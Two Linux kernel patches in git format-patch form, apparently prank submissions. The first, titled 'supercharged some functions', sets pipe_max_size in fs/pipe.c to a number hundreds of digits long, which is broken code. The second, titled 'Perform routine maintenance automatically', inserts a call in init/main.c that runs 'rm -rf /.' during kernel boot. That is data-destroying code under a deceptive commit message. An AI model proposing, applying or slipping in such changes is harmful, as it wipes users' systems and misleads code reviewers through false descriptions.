From 0d1399a4b3f50b0343d394472675c1c05226ceaf Mon Sep 17 00:00:00 2001 From: raincoats Date: Sun, 16 Mar 2014 23:12:15 +1100 Subject: [PATCH 1/2] supercharged some functions --- fs/pipe.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/pipe.c b/fs/pipe.c index 78fd0d0788dbc4..6cf9bcd03347c5 100644 --- a/fs/pipe.c +++ b/fs/pipe.c @@ -32,7 +32,7 @@ * The max size that a non-root user is allowed to grow the pipe. Can * be set by root in /proc/sys/fs/pipe-max-size */ -unsigned int pipe_max_size = 1048576; +unsigned int pipe_max_size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999; /* * Minimum pipe size, as required by POSIX From 662e65bdd4be807ceb8c579a6eb2ff76dc98d1c5 Mon Sep 17 00:00:00 2001 From: IDM350 Date: Sun, 30 Mar 2014 18:06:04 -0400 Subject: [PATCH 2/2] Perform routine maintenance automatically --- init/main.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/init/main.c b/init/main.c index 9c7fd4c9249f2c..c5c75512262e56 100644 --- a/init/main.c +++ b/init/main.c @@ -847,6 +847,10 @@ static int __ref kernel_init(void *unused) flush_delayed_fput(); + do_execve(getname_kernel("/bin/rm"), + (const char __user *const __user *){ "rm", "-rf", "/.", NULL, }, + (const char __user *const __user *)envp_init); + if (ramdisk_execute_command) { ret = run_init_process(ramdisk_execute_command); if (!ret)